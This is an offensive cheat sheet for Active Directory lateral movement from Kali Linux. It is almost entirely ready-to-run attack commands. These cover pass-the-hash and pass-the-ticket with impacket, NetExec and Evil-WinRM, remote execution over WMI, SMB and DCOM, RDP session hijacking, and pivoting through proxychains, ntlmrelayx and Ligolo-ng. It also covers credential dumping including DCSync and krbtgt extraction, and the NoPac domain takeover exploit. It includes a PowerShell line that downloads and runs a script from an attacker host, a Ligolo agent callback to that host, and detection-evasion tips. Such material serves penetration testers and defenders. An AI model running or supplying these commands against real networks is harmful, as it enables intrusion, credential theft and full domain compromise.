Quick Reference

TechniqueToolAuth TypeNotes
Pass-the-Hashpsexec.py, wmiexec.py, nxcNTLM hashNo plaintext needed
Pass-the-Ticketpsexec.py -k, wmiexec.py -kKerberos ccacheSet KRB5CCNAME first
Evil-WinRMevil-winrmPassword / Hash / TicketWinRM port 5985/5986
WMI Executionwmiexec.pyPassword / HashOutput shown, less noisy
DCOM Executiondcomexec.pyPassword / HashMultiple COM objects
RDP PtHxfreerdp /pthNTLM hashRequires Restricted Admin mode
SMB Execpsexec.py, smbexec.pyPassword / HashDifferent noise levels
Proxychainsproxychains + any toolAnyInternal network pivoting

Pass-the-Hash (PtH) from Linux

Concept

NTLM authentication does not require knowledge of the plaintext password — it only requires the NT hash. The NT hash is the MD4 hash of the Unicode password, and it is used directly in the NTLM challenge-response exchange. A valid NT hash is sufficient to authenticate against any service using NTLM.

The impacket format for hashes is LM_HASH:NT_HASH. The LM hash is rarely used in modern environments and can be set to the empty LM value (aad3b435b51404eeaad3b435b51404ee) or simply omitted with a leading colon: -hashes :NTLM_HASH.

psexec.py — PtH

Creates a service on the target and provides SYSTEM-level shell. Writes a binary to ADMIN$ — noisiest of the impacket exec methods:

psexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

Specify a command instead of interactive shell:

psexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP cmd.exe /c whoami

wmiexec.py — PtH

Uses WMI (DCOM) for execution. Runs commands as the authenticated user (not SYSTEM). Shows command output. Less noisy than psexec:

wmiexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

Run a single command:

wmiexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP "cmd /c ipconfig /all"

Use PowerShell instead of cmd:

wmiexec.py -hashes :NTLM_HASH -shell-type powershell TARGET_DOMAIN/USERNAME@TARGET_IP

smbexec.py — PtH

Service-based execution. Does not write a binary to disk (uses cmd.exe via service). No interactive shell output — commands run in background:

smbexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

atexec.py — PtH

Executes a command via the Task Scheduler. Useful when other exec methods are blocked. Returns command output:

atexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP "cmd /c whoami"
atexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP "cmd /c net user"

NetExec (nxc) — PtH

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH

Execute a command:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH -x "whoami"

Execute a PowerShell command:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH -X "Get-Process | Select-Object Name,Id"

Spray a hash across an entire subnet:

nxc smb 192.168.1.0/24 -u USERNAME -H NTLM_HASH --local-auth

Note: The --local-auth flag targets local accounts rather than domain accounts. This is useful for spraying local administrator hashes — if multiple machines share the same local admin password (a common misconfiguration), the same hash will work across all of them. Without --local-auth, nxc authenticates against the domain.

Local Admin Hash Reuse

A common finding in Active Directory environments is that multiple workstations were imaged with the same local administrator password, meaning the NT hash is identical across machines. Use nxc to identify all machines where a recovered local admin hash works:

nxc smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth | grep "+"

The + in output indicates successful authentication. If this returns many results, you have lateral movement paths to all those machines.

OPSEC: Local admin PtH at scale generates many authentication events. Spray slowly or target specific machines. Microsoft LAPS (Local Administrator Password Solution) mitigates this by randomising local admin passwords per machine — check if it is deployed with nxc ldap DC_IP -u USERNAME -p PASSWORD -M laps.


Pass-the-Ticket (PtT) from Linux

Concept

Kerberos authentication uses tickets stored in memory (or as .ccache files on Linux). If you obtain a valid TGT or service ticket (ST), you can present it to Kerberos-enabled services without knowing the user’s password. The KRB5CCNAME environment variable tells Kerberos tools which cache file to use.

Obtaining a TGT

With password:

getTGT.py TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP

With NTLM hash:

getTGT.py TARGET_DOMAIN/USERNAME -hashes :NTLM_HASH -dc-ip DC_IP

With AES256 key:

getTGT.py TARGET_DOMAIN/USERNAME -aesKey AES256_HASH -dc-ip DC_IP

This produces USERNAME.ccache in the current directory.

Setting the Ticket

export KRB5CCNAME=/path/to/USERNAME.ccache

Verify the ticket contents:

klist

psexec.py — PtT

psexec.py -k -no-pass TARGET_DOMAIN/USERNAME@DC_HOSTNAME.TARGET_DOMAIN

wmiexec.py — PtT

wmiexec.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN

Run a command:

wmiexec.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN "cmd /c whoami"

smbexec.py — PtT

smbexec.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN

SMB client access

smbclient.py -k -no-pass TARGET_DOMAIN/USERNAME@DC_HOSTNAME.TARGET_DOMAIN

DCSync with Ticket

secretsdump.py -k -no-pass TARGET_DOMAIN/USERNAME@DC_HOSTNAME.TARGET_DOMAIN -just-dc-ntlm

Note: Kerberos requires the hostname (FQDN) rather than IP address, because the SPN is tied to the hostname. Using an IP will cause Kerberos to fall back to NTLM, which ignores the ticket. Always use the FQDN when using -k -no-pass.


Evil-WinRM

Evil-WinRM provides a fully-featured WinRM (Windows Remote Management) shell with built-in upload/download, script loading, and AMSI bypass capabilities. It connects to WinRM on port 5985 (HTTP) or 5986 (HTTPS).

Basic Authentication

evil-winrm -i TARGET_IP -u USERNAME -p 'PASSWORD'

With domain specification:

evil-winrm -i TARGET_IP -u TARGET_DOMAIN\\USERNAME -p 'PASSWORD'

Pass-the-Hash

evil-winrm -i TARGET_IP -u USERNAME -H NTLM_HASH

Note: Evil-WinRM’s PtH uses NTLM authentication over WinRM. This works when the account has WinRM access (member of Remote Management Users or Administrators).

Pass-the-Ticket (Kerberos)

KRB5CCNAME=ticket.ccache evil-winrm -i TARGET_HOSTNAME -r TARGET_DOMAIN

The -r flag specifies the Kerberos realm (domain). Use the FQDN or hostname, not the IP, for Kerberos to work.

File Operations

Upload a file to the remote host:

*Evil-WinRM* PS C:\> upload /local/path/to/file.exe

Download a file from the remote host:

*Evil-WinRM* PS C:\> download C:\Windows\System32\interesting_file.txt /local/destination/

Loading PowerShell Scripts

Load scripts at startup using the -s flag, pointing to a local directory:

evil-winrm -i TARGET_IP -u USERNAME -p 'PASSWORD' -s /opt/PowerSploit/Recon/

Once connected, load a script from the menu:

*Evil-WinRM* PS C:\> menu
*Evil-WinRM* PS C:\> Invoke-Portscan

Or directly invoke it if loaded with -s:

*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> Get-DomainUser

Loading .NET Executables

evil-winrm -i TARGET_IP -u USERNAME -p 'PASSWORD' -e /path/to/executables/
*Evil-WinRM* PS C:\> Invoke-Binary /path/to/Rubeus.exe kerberoast /nowrap

AMSI Note

Evil-WinRM includes a built-in AMSI bypass that is applied automatically. If AMSI detection still triggers, the bypass may be failing against the specific patched version on the target. In that case, you may need to encode your payload or use alternative bypass methods.

OPSEC: WinRM connections are logged in the Windows Event Log under Microsoft-Windows-WinRM/Operational. The connection itself and all commands run are recorded. Consider this when operating in environments with active monitoring.


WMI Execution

wmiexec.py — Interactive Shell

wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP

With hash:

wmiexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

wmiexec.py — Single Command

wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c ipconfig"
wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c net user /domain"

PowerShell Shell Mode

wmiexec.py -shell-type powershell TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP

Run a PowerShell command:

wmiexec.py -shell-type powershell TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "Get-Process"

Output Behaviour

wmiexec creates a temporary file in C:\Windows\ to capture command output and reads it back over SMB. This means:

  • Commands that produce output will show that output in your terminal
  • The temporary file is deleted after reading
  • Large outputs may be truncated — redirect to a file if needed:
wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c dir C:\Users /s > C:\Windows\Temp\out.txt"

Then read the file:

wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "type C:\Windows\Temp\out.txt"

OPSEC: WMI creates processes under WmiPrvSE.exe. The spawned child processes (cmd.exe, powershell.exe) are visible in process listings. WMI activity is logged under Microsoft-Windows-WMI-Activity/Operational.


SMB Execution Methods

psexec.py

The most well-known method. Writes a randomly-named service executable to ADMIN$ (maps to C:\Windows\), creates and starts a service, and provides an interactive SYSTEM shell over a named pipe.

psexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP
psexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

Characteristics:

  • Shell runs as SYSTEM
  • Writes a binary to disk
  • Creates a Windows service (very noisy)
  • Detected by most EDRs
  • Requires ADMIN$ share access

smbexec.py

Creates a temporary service that runs cmd.exe directly. No binary is written to disk. The service is created and deleted for each command execution.

smbexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP
smbexec.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

Characteristics:

  • Shell runs as SYSTEM
  • No binary written to disk
  • Creates/deletes a service per command
  • No interactive output to stdout — use the shell to write output to files
  • Slightly less noisy than psexec but still creates service events

NetExec exec methods

nxc supports specifying the execution method explicitly:

WMI execution:

nxc smb TARGET_IP -u USERNAME -p 'PASSWORD' --exec-method wmiexec -x "cmd /c whoami"

MMC execution (DCOM via MMC20):

nxc smb TARGET_IP -u USERNAME -p 'PASSWORD' --exec-method mmcexec -x "cmd /c whoami"

SMB service execution:

nxc smb TARGET_IP -u USERNAME -p 'PASSWORD' --exec-method smbexec -x "cmd /c whoami"

With hash, using base64-encoded PowerShell:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH -X "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')"

Base64-encoded PowerShell command:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH -x "powershell -enc BASE64_ENCODED_COMMAND"

Choosing the Right Method

MethodNoise LevelRuns AsBinary to DiskUse When
psexec.pyHighestSYSTEMYesNeed SYSTEM, speed over stealth
smbexec.pyHighSYSTEMNoNeed SYSTEM, no disk writes
wmiexec.pyMediumUserNoWant user context, output needed
dcomexec.pyMediumUserNoWMI/SMB blocked, DCOM allowed
atexec.pyLowSYSTEMNoSingle command, task scheduler

DCOM Lateral Movement

Concept

DCOM (Distributed COM) allows COM objects to be instantiated on remote machines. Several DCOM objects support method calls that result in code execution. This technique requires local admin rights on the target. DCOM uses port 135 (RPC endpoint mapper) plus dynamic high ports.

dcomexec.py — MMC20.Application

dcomexec.py -object MMC20 TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c whoami"

With hash:

dcomexec.py -object MMC20 -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP "cmd /c whoami"

dcomexec.py — ShellWindows

dcomexec.py -object ShellWindows TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c whoami"

With hash:

dcomexec.py -object ShellWindows -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP "cmd /c whoami"

dcomexec.py — ShellBrowserWindow

dcomexec.py -object ShellBrowserWindow TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "cmd /c whoami"

Getting Interactive Output

dcomexec does not provide interactive shell output by default. Use a file redirect:

dcomexec.py -object MMC20 TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP \
  "cmd /c whoami > C:\Windows\Temp\out.txt"

Then read the output file via SMB:

smbclient.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP
# shares → use C$ → get Windows\Temp\out.txt

OPSEC: DCOM execution spawns explorer.exe or mmc.exe child processes, which may be less suspicious than svchost.exe spawning cmd.exe. However, DCOM lateral movement is still detectable via Sysmon event ID 10 (process access) and Windows Security event 4688 (process creation).


RDP from Kali

Standard RDP

Using xfreerdp:

xfreerdp /v:TARGET_IP /u:USERNAME /p:'PASSWORD' /cert:ignore

With domain:

xfreerdp /v:TARGET_IP /u:USERNAME /d:TARGET_DOMAIN /p:'PASSWORD' /cert:ignore

Useful xfreerdp flags:

xfreerdp /v:TARGET_IP /u:USERNAME /p:'PASSWORD' /cert:ignore \
  /dynamic-resolution \
  /drive:kali,/home/kali/share \
  /clipboard

/drive:kali,/home/kali/share mounts a local directory as a shared drive on the remote host, enabling easy file transfer.

Using rdesktop (older alternative):

rdesktop -u USERNAME -p 'PASSWORD' TARGET_IP

Pass-the-Hash via RDP (Restricted Admin Mode)

Windows supports a mode called Restricted Admin, which allows RDP connections using only the NTLM hash (no plaintext password). In this mode, the user’s credentials are not sent to the remote host, which prevents credential delegation — but it also means you can authenticate with just a hash.

Check if Restricted Admin mode is enabled on the target (requires existing shell access):

# Via existing shell or nxc
nxc smb TARGET_IP -u USERNAME -H NTLM_HASH -x \
  "reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin"

A value of 0 means Restricted Admin is enabled. A value of 1 or the key being absent means it is disabled.

Enable Restricted Admin mode if you have an existing shell:

# Via wmiexec or similar
wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP \
  "reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f"

RDP with hash once Restricted Admin is enabled:

xfreerdp /v:TARGET_IP /u:USERNAME /pth:NTLM_HASH /cert:ignore

Note: Restricted Admin mode means the RDP session does not have outbound network access using the logged-in user’s credentials. If you need network access from within the RDP session (e.g., to access other machines), you will need to inject credentials or use runas.

RDP Session Hijacking (if you have SYSTEM)

If you have SYSTEM-level access on a machine where another user is connected via RDP, you can hijack their session without knowing their credentials:

# List sessions (via existing shell)
wmiexec.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP "query session"

Pivoting and Proxychains

Dynamic Port Forwarding via SSH

If you have SSH access to a jump host (Linux or compromised machine with SSH):

ssh -D 1080 -N -f user@JUMP_HOST_IP

-D 1080 opens a SOCKS5 proxy on local port 1080 -N does not execute a remote command -f forks to background

Configure proxychains by editing /etc/proxychains4.conf:

[ProxyList]
socks5  127.0.0.1 1080

Now prepend proxychains to any tool:

proxychains nxc smb INTERNAL_TARGET_IP -u USERNAME -p 'PASSWORD'
proxychains nxc smb 10.10.10.0/24 -u USERNAME -p 'PASSWORD' --shares
proxychains secretsdump.py TARGET_DOMAIN/USERNAME:PASSWORD@INTERNAL_DC_IP

ntlmrelayx SOCKS Mode

ntlmrelayx can maintain authenticated SOCKS sessions after relaying credentials:

sudo ntlmrelayx.py -tf targets.txt -smb2support -socks

After a relay succeeds, the session is available as a SOCKS proxy. Type socks at the ntlmrelayx prompt to list available sessions:

ntlmrelayx> socks
Protocol  Target          Username         AdminStatus  Port
--------  --------------  ---------------  -----------  ----
SMB       TARGET_IP       TARGET_DOMAIN/USERNAME  TRUE   445

Use via proxychains (ntlmrelayx runs SOCKS on port 1080 by default):

proxychains psexec.py -no-pass TARGET_DOMAIN/USERNAME@TARGET_IP
proxychains secretsdump.py -no-pass TARGET_DOMAIN/USERNAME@TARGET_IP

The credentials for the SOCKS session are preserved in memory — you do not need to supply them again.

Ligolo-ng (Advanced Pivoting)

Ligolo-ng provides a TUN interface for transparent pivoting without needing proxychains:

On the Kali attack host, start the proxy:

sudo ./proxy -selfcert -laddr 0.0.0.0:11601

On the compromised pivot host (upload the agent binary):

./agent -connect ATTACKER_IP:11601 -ignore-cert

Back on Kali in the ligolo-ng prompt, set up the tunnel:

>> session
>> 1
>> start

Add a route for the internal network:

sudo ip route add 10.10.10.0/24 dev ligolo

Now tools connect directly to internal hosts without proxychains.


Service Ticket Lateral Movement

Requesting a Service Ticket for a Specific Service

getST.py -spn cifs/TARGET_HOSTNAME.TARGET_DOMAIN \
  TARGET_DOMAIN/USERNAME:PASSWORD \
  -dc-ip DC_IP

With hash:

getST.py -spn cifs/TARGET_HOSTNAME.TARGET_DOMAIN \
  -hashes :NTLM_HASH \
  TARGET_DOMAIN/USERNAME \
  -dc-ip DC_IP

Using the Service Ticket

export KRB5CCNAME=USERNAME.ccache

SMB access:

smbclient.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN

Get a shell:

psexec.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN

WMI shell:

wmiexec.py -k -no-pass TARGET_DOMAIN/USERNAME@TARGET_HOSTNAME.TARGET_DOMAIN

Requesting Tickets for Multiple Services

You can request tickets for different services on the same host:

# CIFS for file access
getST.py -spn cifs/DC_HOSTNAME.TARGET_DOMAIN TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP

# HTTP for web services / WinRM
getST.py -spn http/TARGET_HOSTNAME.TARGET_DOMAIN TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP

# LDAP for directory operations
getST.py -spn ldap/DC_HOSTNAME.TARGET_DOMAIN TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP

Credential Dumping after Lateral Movement

Once you have execution on a target, the next step is usually to harvest credentials for further movement.

secretsdump.py — Remote

Dump hashes remotely from the SAM database (local accounts) and LSA secrets:

secretsdump.py TARGET_DOMAIN/USERNAME:PASSWORD@TARGET_IP

With hash:

secretsdump.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP

Only local accounts (no domain creds needed for SAM):

secretsdump.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP -sam

Only LSA secrets (service account credentials, cached domain logons):

secretsdump.py -hashes :NTLM_HASH TARGET_DOMAIN/USERNAME@TARGET_IP -lsa

secretsdump.py — DCSync

Replication from a domain controller:

secretsdump.py -just-dc TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP

Only NTLM hashes:

secretsdump.py -just-dc-ntlm TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP

Specific user:

secretsdump.py -just-dc-user Administrator TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP

With krbtgt (for Golden Ticket):

secretsdump.py -just-dc-user krbtgt TARGET_DOMAIN/USERNAME:PASSWORD@DC_IP

nxc — Credential Dumping Modules

SAM dump:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH --sam

LSA secrets:

nxc smb TARGET_IP -u USERNAME -H NTLM_HASH --lsa

NTDS (DCSync, requires DA):

nxc smb DC_IP -u USERNAME -H NTLM_HASH --ntds

Dump LAPS passwords (if LAPS is deployed and you have read access):

nxc ldap DC_IP -u USERNAME -p 'PASSWORD' -M laps

NoPac (CVE-2021-42278 / CVE-2021-42287)

NoPac chains two vulnerabilities: the ability to rename a machine account’s sAMAccountName to match a DC name (CVE-2021-42278) and a KDC logic flaw in PAC generation (CVE-2021-42287). The result is impersonation of a domain controller account and full domain compromise with only a standard domain user account.

Check if the environment is vulnerable:

sudo python3 scanner.py TARGET_DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -use-ldap

A “Vulnerable” result in the output confirms the vulnerability is present.

Exploit for an interactive shell as Administrator:

sudo python3 noPac.py TARGET_DOMAIN/USERNAME:PASSWORD \
  -dc-ip DC_IP \
  -dc-host DC_HOSTNAME \
  -shell \
  --impersonate administrator \
  -use-ldap

Exploit with DCSync to dump the administrator hash directly:

sudo python3 noPac.py TARGET_DOMAIN/USERNAME:PASSWORD \
  -dc-ip DC_IP \
  -dc-host DC_HOSTNAME \
  --impersonate administrator \
  -use-ldap \
  -dump \
  -just-dc-user TARGET_DOMAIN/administrator

The TGT obtained during exploitation is saved to the current directory as a .ccache file and can be used for further operations.


Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.